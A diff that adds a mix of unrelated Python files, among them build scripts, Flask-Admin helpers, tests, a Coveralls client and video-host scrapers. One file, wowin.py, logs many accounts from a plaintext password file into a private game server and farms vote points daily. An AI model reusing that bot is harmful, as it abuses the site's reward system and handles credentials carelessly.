'-lfftw3'], # -fopenmp -lfftw3 also needs to be passed to the linker + language='c++' + )] + +# As of Python 3.6, CCompiler has a `has_flag` method. +# cf http://bugs.python.org/issue26689 +def has_flag(compiler, flagname): + """Return a boolean indicating whether a flag name is supported on + the specified compiler. + """ + import tempfile + with tempfile.NamedTemporaryFile('w', suffix='.cpp') as f: + f.write('int main (int argc, char **argv) { return 0; }') + try: + compiler.compile([f.name], extra_postargs=[flagname]) + except distutils.errors.CompileError: + return False + return True + +# Note C++11 is needed by pybind11, not by the project: +def cpp_flag(compiler): + """Return the -std=c++[11/14] compiler flag. + The c++14 is prefered over c++11 (when it is available). + """ + if has_flag(compiler, '-std=c++14'): + return '-std=c++14' + elif has_flag(compiler, '-std=c++11'): + return '-std=c++11' + else: + raise RuntimeError('Unsupported compiler -- at least C++11 support ' + 'is needed!') + + +class BuildExt(build_ext): + """A custom build extension for adding compiler-specific options.""" + c_opts = { + 'msvc': ['/EHsc'], + 'unix': [], + } + + if sys.platform == 'darwin': + c_opts['unix'] += ['-stdlib=libc++', '-mmacosx-version-min=10.7'] + + def build_extensions(self): + ct = self.compiler.compiler_type + opts = self.c_opts.get(ct, []) + if ct == 'unix': + opts.append('-fopenmp') + opts.append('-lfftw3') + opts.append('-DVERSION_INFO="%s"' % self.distribution.get_version()) + opts.append(cpp_flag(self.compiler)) # AHB: C++11 not used now, but David Stein says needed. + if has_flag(self.compiler, '-fvisibility=hidden'): + opts.append('-fvisibility=hidden') + elif ct == 'msvc': + opts.append('/DVERSION_INFO=\\"%s\\"' % self.distribution.get_version()) + for ext in self.extensions: + ext.extra_compile_args = opts + build_ext.build_extensions(self) + +pkgs = find_packages() +print('found these packages:', pkgs) + +with open("README.md", "r") as fh: + long_description = fh.read() + +setup( + name="ml_pyms", + version="0.0.1", + author="Jeremy Magland", + author_email="", + description="python processors for legacy mountainsort 3", + long_description=long_description, + long_description_content_type="text/markdown", + url="https://github.com/magland/mountainsort", + packages=pkgs, + package_data={ + '': ['*.mp'], # Include all processor files + }, + ext_modules=ext_modules, + cmdclass={'build_ext': BuildExt}, + install_requires= + [ + 'pybind11>=2.2', + 'numpy', + 'numpydoc', + 'scipy', + 'matplotlib', + 'sklearn' + ], + classifiers=( + "Programming Language :: Python :: 3", + "License :: OSI Approved :: Apache Software License", + "Operating System :: OS Independent", + ), +) diff --git a/pool/shard009/Python/0083580_form.py b/pool/shard009/Python/0083580_form.py new file mode 100644 index 0000000000000000000000000000000000000000..52da31b191cb4c1c3778ad541487b431dfd78b8e --- /dev/null +++ b/pool/shard009/Python/0083580_form.py @@ -0,0 +1,198 @@ +import inspect + +from flask.ext.admin.form import BaseForm, rules +from flask.ext.admin._compat import iteritems + + +def converts(*args): + def _inner(func): + func._converter_for = frozenset(args) + return func + return _inner + + +class InlineBaseFormAdmin(object): + """ + Settings for inline form administration. + + You can use this class to customize displayed form. + For example:: + + class MyUserInfoForm(InlineBaseFormAdmin): + form_columns = ('name', 'email') + """ + _defaults = ['form_base_class', 'form_columns', 'form_excluded_columns', 'form_args', 'form_extra_fields'] + + def __init__(self, **kwargs): + """ + Constructor + + :param kwargs: + Additional options + """ + for k in self._defaults: + if not hasattr(self, k): + setattr(self, k, None) + + for k, v in iteritems(kwargs): + setattr(self, k, v) + + # Convert form rules + form_rules = getattr(self, 'form_rules', None) + + if form_rules: + self._form_rules = rules.RuleSet(self, form_rules) + else: + self._form_rules = None + + def get_form(self): + """ + If you want to use completely custom form for inline field, you can override + Flask-Admin form generation logic by overriding this method and returning your form. + """ + return None + + def postprocess_form(self, form_class): + """ + Post process form. Use this to contribute fields. + + For example:: + + class MyInlineForm(InlineFormAdmin): + def postprocess_form(self, form): + form.value = TextField('value') + return form + + class MyAdmin(ModelView): + inline_models = (MyInlineForm(ValueModel),) + """ + return form_class + + def on_model_change(self, form, model): + """ + Called when inline model is about to be saved. + + :param form: + Inline form + :param model: + Model + """ + pass + + +class InlineFormAdmin(InlineBaseFormAdmin): + """ + Settings for inline form administration. Used by relational backends (SQLAlchemy, Peewee), where model + class can not be inherited from the parent model definition. + """ + def __init__(self, model, **kwargs): + """ + Constructor + + :param model: + Model class + """ + self.model = model + + super(InlineFormAdmin, self).__init__(**kwargs) + + +class ModelConverterBase(object): + def __init__(self, converters=None, use_mro=True): + self.use_mro = use_mro + + if not converters: + converters = {} + + for name in dir(self): + obj = getattr(self, name) + if hasattr(obj, '_converter_for'): + for classname in obj._converter_for: + converters[classname] = obj + + self.converters = converters + + def get_converter(self, column): + if self.use_mro: + types = inspect.getmro(type(column.type)) + else: + types = [type(column.type)] + + # Search by module + name + for col_type in types: + type_string = '%s.%s' % (col_type.__module__, col_type.__name__) + + if type_string in self.converters: + return self.converters[type_string] + + # Search by name + for col_type in types: + if col_type.__name__ in self.converters: + return self.converters[col_type.__name__] + + return None + + def get_form(self, model, base_class=BaseForm, + only=None, exclude=None, + field_args=None): + raise NotImplemented() + + +class InlineModelConverterBase(object): + form_admin_class = InlineFormAdmin + + def __init__(self, view): + """ + Base constructor + + :param view: + View class + """ + self.view = view + + def get_label(self, info, name): + """ + Get inline model field label + + :param info: + Inline model info + :param name: + Field name + """ + form_name = getattr(info, 'form_label', None) + if form_name: + return form_name + + column_labels = getattr(self.view, 'column_labels', None) + + if column_labels and name in column_labels: + return column_labels[name] + + return None + + def get_info(self, p): + """ + Figure out InlineFormAdmin information. + + :param p: + Inline model. Can be one of: + + - ``tuple``, first value is related model instance, + second is dictionary with options + - ``InlineFormAdmin`` instance + - Model class + """ + if isinstance(p, tuple): + return self.form_admin_class(p[0], **p[1]) + elif isinstance(p, self.form_admin_class): + return p + + return None + + +class FieldPlaceholder(object): + """ + Field placeholder for model convertors. + """ + def __init__(self, field): + self.field = field diff --git a/pool/shard009/Python/0083581_LRUCache.py b/pool/shard009/Python/0083581_LRUCache.py new file mode 100644 index 0000000000000000000000000000000000000000..b98ee474875931c3d2869c79d8ad39287e1a786b --- /dev/null +++ b/pool/shard009/Python/0083581_LRUCache.py @@ -0,0 +1,58 @@ +''' + * PTStemmer - A Stemming toolkit for the Portuguese language (C) 2008-2010 Pedro Oliveira + * + * This file is part of PTStemmer. + * PTStemmer is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * PTStemmer is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with PTStemmer. If not, see . +''' + +class LRUCache(object): + ''' + Simple Least Recently Used (LRU) Cache implementation + @author: Pedro Oliveira + ''' + + def __init__(self,size): + self.size = size + self.__cache = {} + self.__lru = [] + + def __len__(self): + return len(self.__lru) + + def __contains__(self, key): + return self.__cache.has_key(key) + + def __setitem__(self, key, obj): + if self.__cache.has_key(key): + self.__lru.remove(key) + else: + if len(self.__lru) == self.size: + self.__cache.pop(self.__lru.pop()) + self.__cache[key] = obj + self.__lru.insert(0, key) + + def __getitem__(self, key): + if self.__cache.has_key(key): + n = self.__cache[key] + self.__lru.remove(key) + self.__lru.insert(0, key) + return n + return None + +if __name__ == "__main__": + cache = LRUCache(10) + for i in range(11): + cache[i] = str(i) + print cache[0], cache[1] + \ No newline at end of file diff --git a/pool/shard009/Python/0083587_wowin.py b/pool/shard009/Python/0083587_wowin.py new file mode 100644 index 0000000000000000000000000000000000000000..53cea6e27a54078568e2638662dd5649f4a0527b --- /dev/null +++ b/pool/shard009/Python/0083587_wowin.py @@ -0,0 +1,125 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +"""wowin.py: A client for automatize WoW (3.3.5) login + using sockets and a variation of SRP6. +It is be able to autovote too. +Edit accounts.txt file in the following format to use this script: + +username:password +username2:password2 + +Requirements: + pip install bs4 + pip install schedule +""" + +import socket +import time +import schedule +import datetime +from wrsp import Wrsp +import sys +import requests +from BeautifulSoup import BeautifulSoup # A wonderful module for HTML parsing +# import json + + +def hilite(string, status=False, bold=False): + """If tty highligth the output.""" + + if not sys.stdout.isatty(): + return string + attr = [] + if status: + attr.append('32') # Green + else: + attr.append('31') # Red + if bold: + attr.append('1') + return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) + + +def autovote(username, password): + """Starts the autovote.""" + + url_0 = 'http://www.warmane.com/account/login' + url = 'http://www.warmane.com/account' + # Start a new session, to preserve the cookie + global s + s = requests.session() + # Take session and anti-csrf Token + t = s.get(url) + soup = BeautifulSoup(t.text) + # + token = soup.find("meta", {"name": "csrf-token"})['content'] + # The login POST payload + login_payload = { + 'userID': username, + 'userPW': password + } + # The vote POST payload + vote_payload = { + 'collectpoints': 'true' + } + login_headers = { + 'Accept': 'application/json, text/javascript, */*; q=0.01', + 'Origin': 'http://www.warmane.com', + 'X-CSRF-Token': token, + 'X-Requested-With': 'XMLHttpRequest', + 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'Referer': url_0, + 'Accept-Encoding': 'gzip, deflate' + } + vote_headers = { + 'Accept': 'application/json, text/javascript, */*; q=0.01', + 'Origin': 'http://www.warmane.com', + 'X-CSRF-Token': token, + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'it-it', + 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'Referer': url, + 'Accept-Encoding': 'gzip, deflate' + } + try: + l_response = s.post(url_0, data=login_payload, headers=login_headers) + vote_response = s.post(url, data=vote_payload, headers=vote_headers) + if vote_response.json()['messages'].has_key('error'): + print hilite("Error:", False, True) # Bold + # Show the site-returned error + print hilite(vote_response.json()['messages']['error'][0]) + else: + print "Now you have: ", + print hilite(vote_response.json().get('points')[0], True), + print " votepoints" + except Exception: + print hilite("Login failed for " + username) + + +def main(): + # Server data + host = "logon.warmane.ru" + n_of_trying = 3 + # port = 3724 + # Get login data from file + f = file("accounts.txt", 'r') + for line in f.readlines(): + user, password = line.rstrip().split(":") + # Connect to WoW server to emulate ingame-login! + mypacket = Wrsp(user, password, socket.gethostbyname(host)) + for i in range(n_of_trying): # Trying to connect to server more than oncs + if mypacket.login(): + print hilite("User " + user + " logged in-game succesfully!", True) + mypacket.show_realm() + break + else: + print "Login failed for: " + user + # Autovote also if ingame login failed. Just try (user was on on the last 24h?) + autovote(user, password) + print "End of daily vote:", str(datetime.date.today()) + +main() +schedule.every().day.at("03:00").do(main) +#schedule.every(1).minute.do(main) +while True: + schedule.run_pending() + time.sleep(20) # Wait one minute diff --git a/pool/shard009/Python/0083593_test_backup.py b/pool/shard009/Python/0083593_test_backup.py new file mode 100644 index 0000000000000000000000000000000000000000..814be0274097edb6aa3dbde1e2d8324e6734e670 --- /dev/null +++ b/pool/shard009/Python/0083593_test_backup.py @@ -0,0 +1,99 @@ +import mock +import unittest +import copy + +from backup.backup import Backup +from fixtures import config + + +class TestBackup(unittest.TestCase): + + def setUp(self): + """Initializer, unittest-style""" + super(TestBackup, self).setUp() + + def tearDown(self): + """Destructor, unittest-style""" + super(TestBackup, self).tearDown() + + @mock.patch.object(Backup, 'set_tmp_folder') + def test_init_backup_defaults(self, mock_set_folder): + config_changed = copy.deepcopy(config) + del config_changed['tmp'] + backup = Backup(config_changed) + # Just check we got defaults + self.assertEqual(backup.subFoldersNum, backup.subFoldersNumDefault) + self.assertTrue(mock_set_folder.called) + + @mock.patch.object(Backup, 'set_tmp_folder') + def test_init_backup_with_config(self, mock_set_folder): + backup = Backup(config) + self.assertEqual(backup.subFoldersNum, config['tmp']['subFolders']) + self.assertTrue(mock_set_folder.called) + + @mock.patch('backup.backup.os.path') + @mock.patch('backup.backup.os') + def test_set_tmp_folder_absolute(self, mock_os, mock_path): + mock_path.isdir.return_value = False + tmp_folder = '/some/path/to/nowhere' + backup = Backup(config) + backup.set_tmp_folder(tmp_folder) + self.assertEqual(backup.tmpFolder, tmp_folder) + mock_path.isdir.assert_called_with(tmp_folder) + # Temporary folder has been created + mock_os.makedirs.assert_called_with(tmp_folder) + + def test_set_tmp_folder_relative(self): + pass + + @mock.patch('backup.backup.os') + def test_create_current_folder_by_time(self, mock_os): + backup = Backup(config) + current_time = (2015, 12, 20, 23, 26, 30, 6, 354, 0) + folder_name = backup.create_current_folder_by_time(current_time) + self.assertTrue(mock_os.mkdir.called) + self.assertEqual(folder_name, ''.join(str(x) for x in current_time[:6])) + + @mock.patch('backup.backup.call') + @mock.patch('backup.backup.os') + @mock.patch('backup.backup.rmtree') + @mock.patch('backup.backup.os.path') + def test_archive_with_directories(self, mock_path, mock_rmtree, mock_os, mock_call): + mock_os.listdir.return_value = ['123123123', '234234234'] + mock_path.isdir.return_value = True + backup = Backup(config) + backup.archive() + self.assertTrue(mock_os.listdir.called) + self.assertTrue(mock_call.called) + self.assertTrue(mock_rmtree.called) + + @mock.patch('backup.backup.call') + @mock.patch('backup.backup.os') + @mock.patch('backup.backup.rmtree') + @mock.patch('backup.backup.os.path') + def test_archive_without_directories(self, mock_path, mock_rmtree, mock_os, mock_call): + backup = Backup(config) + backup.archive() + self.assertTrue(mock_os.listdir.called) + self.assertFalse(mock_call.called) + self.assertFalse(mock_rmtree.called) + + @mock.patch('backup.backup.os') + @mock.patch('backup.backup.os.path') + def test_cleanup_sub_folders_with_directories_less_than_required(self, mock_path, mock_os): + mock_os.listdir.return_value = ['123123123', '234234234'] + mock_path.isfile.return_value = True + backup = Backup(config) + backup.cleanup_sub_folders() + self.assertTrue(mock_os.listdir.called) + self.assertFalse(mock_os.remove.called) + + @mock.patch('backup.backup.os') + @mock.patch('backup.backup.os.path') + def test_cleanup_sub_folders_with_directories(self, mock_path, mock_os): + mock_os.listdir.return_value = ['1', '2', '3', '4', '5', '6', '7', '8'] + mock_path.isfile.return_value = True + backup = Backup(config) + backup.cleanup_sub_folders() + self.assertTrue(mock_os.listdir.called) + self.assertTrue(mock_os.remove.called) diff --git a/pool/shard009/Python/0083602_api.py b/pool/shard009/Python/0083602_api.py new file mode 100644 index 0000000000000000000000000000000000000000..50b7103ca493ca3b397e3915f778f55feeb7253a --- /dev/null +++ b/pool/shard009/Python/0083602_api.py @@ -0,0 +1,202 @@ +# coding: utf-8 +import json +import logging +import os +import re +import subprocess + +import coverage +import requests +import yaml + +from .reporter import CoverallReporter + + +log = logging.getLogger('coveralls') + + +class CoverallsException(Exception): + pass + + +class Coveralls(object): + config_filename = '.coveralls.yml' + api_endpoint = 'https://coveralls.io/api/v1/jobs' + default_client = 'coveralls-python' + + def __init__(self, **kwargs): + """ Coveralls! + + * repo_token + The secret token for your repository, found at the bottom of your repository's + page on Coveralls. + + * service_name + The CI service or other environment in which the test suite was run. + This can be anything, but certain services have special features + (travis-ci, travis-pro, or coveralls-ruby). + + * [service_job_id] + A unique identifier of the job on the service specified by service_name. + """ + self._data = None + self.config = kwargs + file_config = self.load_config() or {} + repo_token = self.config.get('repo_token') or file_config.get('repo_token', None) + if repo_token: + self.config['repo_token'] = repo_token + + if os.environ.get('TRAVIS'): + is_travis = True + self.config['service_name'] = file_config.get('service_name', None) or 'travis-ci' + self.config['service_job_id'] = os.environ.get('TRAVIS_JOB_ID') + else: + is_travis = False + self.config['service_name'] = file_config.get('service_name') or self.default_client + + if os.environ.get('COVERALLS_REPO_TOKEN', None): + self.config['repo_token'] = os.environ.get('COVERALLS_REPO_TOKEN') + + if not self.config.get('repo_token') and not is_travis: + raise CoverallsException('You have to provide either repo_token in %s, or launch via Travis' % self.config_filename) + + def load_config(self): + try: + return yaml.safe_load(open(os.path.join(os.getcwd(), self.config_filename))) + except (OSError, IOError): + log.debug('Missing %s file. Using only env variables.', self.config_filename) + return {} + + def wear(self, dry_run=False): + """ run! """ + try: + data = self.create_data() + except coverage.CoverageException as e: + return {'message': 'Failure to gather coverage: %s' % str(e)} + try: + json_string = json.dumps(data) + except UnicodeDecodeError as e: + log.error("ERROR: While preparing JSON received exception: %s" % e) + self.debug_bad_encoding(data) + raise + if not dry_run: + response = requests.post(self.api_endpoint, files={'json_file': json_string}) + try: + result = response.json() + except ValueError: + result = {'message': 'Failure to submit data. Response [%(status)s]: %(text)s' % { + 'status': response.status_code, + 'text': response.text}} + else: + result = {} + json_string = re.sub(r'"repo_token": "(.+?)"', '"repo_token": "[secure]"', json_string) + log.debug(json_string) + log.debug("==\nReporting %s files\n==\n" % len(data['source_files'])) + for source_file in data['source_files']: + log.debug('%s - %s/%s' % (source_file['name'], + sum(filter(None, source_file['coverage'])), + len(source_file['coverage']))) + return result + + def create_data(self): + """ Generate object for api. + Example json: + { + "service_job_id": "1234567890", + "service_name": "travis-ci", + "source_files": [ + { + "name": "example.py", + "source": "def four\n 4\nend", + "coverage": [null, 1, null] + }, + { + "name": "two.py", + "source": "def seven\n eight\n nine\nend", + "coverage": [null, 1, 0, null] + } + ] + } + """ + if not self._data: + self._data = {'source_files': self.get_coverage()} + self._data.update(self.git_info()) + self._data.update(self.config) + return self._data + + def get_coverage(self): + workman = coverage.coverage(config_file=self.config.get('config_file', True)) + workman.load() + workman._harvest_data() + reporter = CoverallReporter(workman, workman.config) + return reporter.report() + + def git_info(self): + """ A hash of Git data that can be used to display more information to users. + + Example: + "git": { + "head": { + "id": "5e837ce92220be64821128a70f6093f836dd2c05", + "author_name": "Wil Gieseler", + "author_email": "wil@example.com", + "committer_name": "Wil Gieseler", + "committer_email": "wil@example.com", + "message": "depend on simplecov >= 0.7" + }, + "branch": "master", + "remotes": [{ + "name": "origin", + "url": "https://github.com/lemurheavy/coveralls-ruby.git" + }] + } + """ + + rev = run_command('git', 'rev-parse', '--abbrev-ref', 'HEAD').strip() + git_info = {'git': { + 'head': { + 'id': gitlog('%H'), + 'author_name': gitlog('%aN'), + 'author_email': gitlog('%ae'), + 'committer_name': gitlog('%cN'), + 'committer_email': gitlog('%ce'), + 'message': gitlog('%s'), + }, + 'branch': os.environ.get('CIRCLE_BRANCH') or os.environ.get('TRAVIS_BRANCH', rev), + #origin git@github.com:coagulant/coveralls-python.git (fetch) + 'remotes': [{'name': line.split()[0], 'url': line.split()[1]} + for line in run_command('git', 'remote', '-v').splitlines() if '(fetch)' in line] + }} + return git_info + + def debug_bad_encoding(self, data): + """ Let's try to help user figure out what is at fault""" + at_fault_files = set() + for source_file_data in data['source_files']: + for key, value in source_file_data.items(): + try: + json.dumps(value) + except UnicodeDecodeError: + at_fault_files.add(source_file_data['name']) + if at_fault_files: + log.error("HINT: Following files cannot be decoded properly into unicode." + "Check their content: %s" % (', '.join(at_fault_files))) + + +def gitlog(format): + try: + log = str(run_command('git', '--no-pager', 'log', "-1", '--pretty=format:%s' % format)) + except UnicodeEncodeError: + log = unicode(run_command('git', '--no-pager', 'log', "-1", '--pretty=format:%s' % format)) + return log + + +def run_command(*args): + cmd = subprocess.Popen(list(args), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + assert cmd.wait() == 0 + output = cmd.stdout.read() + try: + output = output.decode() + except UnicodeDecodeError: + output = output.decode('utf-8') + return output diff --git a/pool/shard009/Python/0083603_pants_runner.py b/pool/shard009/Python/0083603_pants_runner.py new file mode 100644 index 0000000000000000000000000000000000000000..f1b0270fb787b5110c15ad86e34210378d255d3c --- /dev/null +++ b/pool/shard009/Python/0083603_pants_runner.py @@ -0,0 +1,102 @@ +# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md). +# Licensed under the Apache License, Version 2.0 (see LICENSE). + +import logging +import os +import sys +import warnings +from dataclasses import dataclass +from typing import List, Mapping + +from pants.base.exception_sink import ExceptionSink +from pants.base.exiter import ExitCode +from pants.engine.environment import CompleteEnvironment +from pants.init.logging import initialize_stdio, stdio_destination +from pants.init.util import init_workdir +from pants.option.option_value_container import OptionValueContainer +from pants.option.options_bootstrapper import OptionsBootstrapper + +logger = logging.getLogger(__name__) + + +@dataclass(frozen=True) +class PantsRunner: + """A higher-level runner that delegates runs to either a LocalPantsRunner or + RemotePantsRunner.""" + + args: List[str] + env: Mapping[str, str] + + # This could be a bootstrap option, but it's preferable to keep these very limited to make it + # easier to make the daemon the default use case. Once the daemon lifecycle is stable enough we + # should be able to avoid needing to kill it at all. + def will_terminate_pantsd(self) -> bool: + _DAEMON_KILLING_GOALS = frozenset(["kill-pantsd", "clean-all"]) + return not frozenset(self.args).isdisjoint(_DAEMON_KILLING_GOALS) + + def _should_run_with_pantsd(self, global_bootstrap_options: OptionValueContainer) -> bool: + terminate_pantsd = self.will_terminate_pantsd() + + if terminate_pantsd: + logger.debug(f"Pantsd terminating goal detected: {self.args}") + + # If we want concurrent pants runs, we can't have pantsd enabled. + return ( + global_bootstrap_options.pantsd + and not terminate_pantsd + and not global_bootstrap_options.concurrent + ) + + @staticmethod + def scrub_pythonpath() -> None: + # Do not propagate any PYTHONPATH that happens to have been set in our environment + # to our subprocesses. + # Note that don't warn (but still scrub) if RUNNING_PANTS_FROM_SOURCES is set. This allows + # scripts that run pants directly from sources, and therefore must set PYTHONPATH, to mute + # this warning. + pythonpath = os.environ.pop("PYTHONPATH", None) + if pythonpath and not os.environ.pop("RUNNING_PANTS_FROM_SOURCES", None): + logger.debug(f"Scrubbed PYTHONPATH={pythonpath} from the environment.") + + def run(self, start_time: float) -> ExitCode: + self.scrub_pythonpath() + + options_bootstrapper = OptionsBootstrapper.create( + env=self.env, args=self.args, allow_pantsrc=True + ) + with warnings.catch_warnings(record=True): + bootstrap_options = options_bootstrapper.bootstrap_options + global_bootstrap_options = bootstrap_options.for_global_scope() + + # We enable logging here, and everything before it will be routed through regular + # Python logging. + stdin_fileno = sys.stdin.fileno() + stdout_fileno = sys.stdout.fileno() + stderr_fileno = sys.stderr.fileno() + with initialize_stdio(global_bootstrap_options), stdio_destination( + stdin_fileno=stdin_fileno, + stdout_fileno=stdout_fileno, + stderr_fileno=stderr_fileno, + ): + # N.B. We inline imports to speed up the python thin client run, and avoids importing + # engine types until after the runner has had a chance to set PANTS_BIN_NAME. + + if self._should_run_with_pantsd(global_bootstrap_options): + from pants.bin.remote_pants_runner import RemotePantsRunner + + try: + remote_runner = RemotePantsRunner(self.args, self.env, options_bootstrapper) + return remote_runner.run(start_time) + except RemotePantsRunner.Fallback as e: + logger.warning(f"Client exception: {e!r}, falling back to non-daemon mode") + + from pants.bin.local_pants_runner import LocalPantsRunner + + # We only install signal handling via ExceptionSink if the run will execute in this process. + ExceptionSink.install( + log_location=init_workdir(global_bootstrap_options), pantsd_instance=False + ) + runner = LocalPantsRunner.create( + env=CompleteEnvironment(self.env), options_bootstrapper=options_bootstrapper + ) + return runner.run(start_time) diff --git a/pool/shard009/Python/0083609_update_permissions_from_mc.py b/pool/shard009/Python/0083609_update_permissions_from_mc.py new file mode 100644 index 0000000000000000000000000000000000000000..e1774c53e156c46092017b0bdda549733ab40c38 --- /dev/null +++ b/pool/shard009/Python/0083609_update_permissions_from_mc.py @@ -0,0 +1,34 @@ +# -*- coding: utf-8 -*- +from django.conf import settings +from django.core.management.base import BaseCommand + +from olympia.files.models import WebextPermissionDescription +from olympia.files.tasks import update_webext_descriptions_all + + +class Command(BaseCommand): + help = ('Download and update webextension permission descriptions from ' + 'mozilla-central.') + + def add_arguments(self, parser): + """Handle command arguments.""" + parser.add_argument( + '--clear', + action='store_true', + dest='clear', + default=False, + help='Clear existing descriptions in the database first.') + + def handle(self, *args, **options): + if options['clear']: + WebextPermissionDescription.objects.all().delete() + + central_url = settings.WEBEXT_PERM_DESCRIPTIONS_URL + locales_url = settings.WEBEXT_PERM_DESCRIPTIONS_LOCALISED_URL + amo_locales = [l for l in settings.AMO_LANGUAGES + if l not in ('en-US', 'dbg', 'dbr', 'dbl')] + # Fetch canonical en-US descriptions first; then l10n after. + update_webext_descriptions_all.apply_async( + args=[(central_url, 'en-US'), + [(locales_url.format(locale=locale), locale) + for locale in amo_locales]]) diff --git a/pool/shard009/Python/0083613_sockshare.py b/pool/shard009/Python/0083613_sockshare.py new file mode 100644 index 0000000000000000000000000000000000000000..a6a1520b3a3019efc0a86d63de76071f8caf850d --- /dev/null +++ b/pool/shard009/Python/0083613_sockshare.py @@ -0,0 +1,94 @@ +# -*- coding: iso-8859-1 -*- +#------------------------------------------------------------ +# pelisalacarta - XBMC Plugin +# Conector para sockshare +# http://blog.tvalacarta.info/plugin-xbmc/pelisalacarta/ +#------------------------------------------------------------ + +import urlparse,urllib2,urllib,re +import os + +from core import scrapertools +from core import logger +from core import config + + +def get_video_url( page_url , premium = False , user="" , password="", video_password="" ): + logger.info("[sockshare.py] url="+page_url) + data = scrapertools.cache_page(page_url) + + patron = 'value="([0-9a-f]+?)" name="hash"' + matches = re.compile(patron,re.DOTALL).findall(data) + if len(matches)==0:return [] + + + post = "hash="+matches[0]+"&confirm=Continue as Free User" + data = scrapertools.cache_page( page_url , post=post, headers=[['User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14'],['Referer',page_url]] ) + logger.info("data="+data) + # Extrae el trozo cifrado + patron = "playlist: '(.+?)'" + matches = re.compile(patron,re.DOTALL).findall(data) + #scrapertools.printMatches(matches) + data = "" + if len(matches)>0: + xmlurl = urlparse.urljoin(page_url,matches[0]) + logger.info("[sockshare.py] Playlis="+xmlurl) + else: + logger.info("[sockshare.py] No encuentra Playlist=") + + return [] + + + logger.info("xmlurl="+xmlurl) + data = scrapertools.downloadpageWithoutCookies(xmlurl) + # Extrae la URL + patron = '0: + video_urls.append( ["."+matches[0].rsplit('.',1)[1][0:3]+" [sockshare]",matches[0]]) + + for video_url in video_urls: + logger.info("[sockshare.py] %s - %s" % (video_url[0],video_url[1])) + + return video_urls + +# Encuentra vídeos de este servidor en el texto pasado +def find_videos(text): + encontrados = set() + devuelve = [] + + # http://www.peliculasaudiolatino.com/show/sockshare.php?url=CEE0B3A7DDFED758 + patronvideos = 'sockshare.php\?url=([A-Z0-9]+)' + logger.info("[sockshare.py] find_videos #"+patronvideos+"#") + matches = re.compile(patronvideos,re.DOTALL).findall(text) + + for match in matches: + titulo = "[sockshare]" + url = "http://www.sockshare.com/embed/"+match + if url not in encontrados: + logger.info(" url="+url) + devuelve.append( [ titulo , url , 'sockshare' ] ) + encontrados.add(url) + else: + logger.info(" url duplicada="+url) + + # http://www.sockshare.com/embed/CEE0B3A7DDFED758 + patronvideos = 'http://www.sockshare.com/(?:file|embed)/([A-Z0-9]+)' + logger.info("[sockshare.py] find_videos #"+patronvideos+"#") + matches = re.compile(patronvideos,re.DOTALL).findall(text) + + for match in matches: + titulo = "[sockshare]" + url = "http://www.sockshare.com/embed/"+match + if url not in encontrados: + logger.info(" url="+url) + devuelve.append( [ titulo , url , 'sockshare' ] ) + encontrados.add(url) + else: + logger.info(" url duplicada="+url) + + return devuelve diff --git a/pool/shard009/Python/0083617_test_abstractvm.py b/pool/shard009/Python/0083617_test_abstractvm.py new file mode 100644 index 0000000000000000000000000000000000000000..8148161c373c929a5347967ee21b2f50b4aeeed1 --- /dev/null +++ b/pool/shard009/Python/0083617_test_abstractvm.py @@ -0,0 +1,130 @@ +"""Tests for pytype.abstractvm.""" + +import dis +import textwrap +import unittest + + +from pytype import vm +from pytype.pyc import pyc +from pytype.tests import test_inference + + +class TraceVM(vm.VirtualMachine): + + def __init__(self, python_version): + super(TraceVM, self).__init__(python_version) + # There are multiple possible orderings of the basic blocks of the code, so + # we collect the instructions in an order-independent way: + self.instructions_executed = set() + # Extra stuff that's defined in infer.CallTracer: + # TODO(pludemann): refactor the classes? + self._call_trace = set() + self._functions = set() + self._classes = set() + self._unknowns = [] + + def run_instruction(self, op, state): + self.instructions_executed.add(op.index) + return super(TraceVM, self).run_instruction(op, state) + + +def ListToString(lst): + return "".join(chr(c) for c in lst) + + +class AncestorTraversalVirtualMachineTest(unittest.TestCase): + + def setUp(self): + self.python_version = (2, 7) # used to generate the bytecode below + self.vm = TraceVM(self.python_version) + + src_nested_loop = textwrap.dedent(""" + y = [1,2,3] + z = 0 + for x in y: + for a in y: + if x: + z += x*a + """) + code_nested_loop = ListToString([ + dis.opmap["LOAD_CONST"], 0, 0, # [0], 0, arg=0 + dis.opmap["LOAD_CONST"], 1, 0, # [1], 3, arg=1 + dis.opmap["LOAD_CONST"], 2, 0, # [2], 6, arg=2 + dis.opmap["BUILD_LIST"], 3, 0, # [3], 9, arg=3 + dis.opmap["STORE_NAME"], 0, 0, # [4], 12, arg=0 + dis.opmap["LOAD_CONST"], 3, 0, # [5], 15, arg=3 + dis.opmap["STORE_NAME"], 1, 0, # [6], 18, arg=1 + dis.opmap["SETUP_LOOP"], 54, 0, # [7], 21, dest=78 + dis.opmap["LOAD_NAME"], 0, 0, # [8], 24, arg=0 + dis.opmap["GET_ITER"], # [9], 27 + dis.opmap["FOR_ITER"], 46, 0, # [10], 28, dest=77 + dis.opmap["STORE_NAME"], 2, 0, # [11], 31, arg=2 + dis.opmap["SETUP_LOOP"], 37, 0, # [12], 34, dest=74 + dis.opmap["LOAD_NAME"], 0, 0, # [13], 37, arg=0 + dis.opmap["GET_ITER"], # [14], 40 + dis.opmap["FOR_ITER"], 29, 0, # [15], 41, dest=73 + dis.opmap["STORE_NAME"], 3, 0, # [16], 44, arg=3 + dis.opmap["LOAD_NAME"], 2, 0, # [17], 47, arg=2 + dis.opmap["POP_JUMP_IF_FALSE"], 41, 0, # [18], 50, dest=41 + dis.opmap["LOAD_NAME"], 1, 0, # [19], 53, arg=1 + dis.opmap["LOAD_NAME"], 2, 0, # [20], 56, arg=2 + dis.opmap["LOAD_NAME"], 3, 0, # [21], 59, arg=3 + dis.opmap["BINARY_MULTIPLY"], # [22], 62 + dis.opmap["INPLACE_ADD"], # [23], 63 + 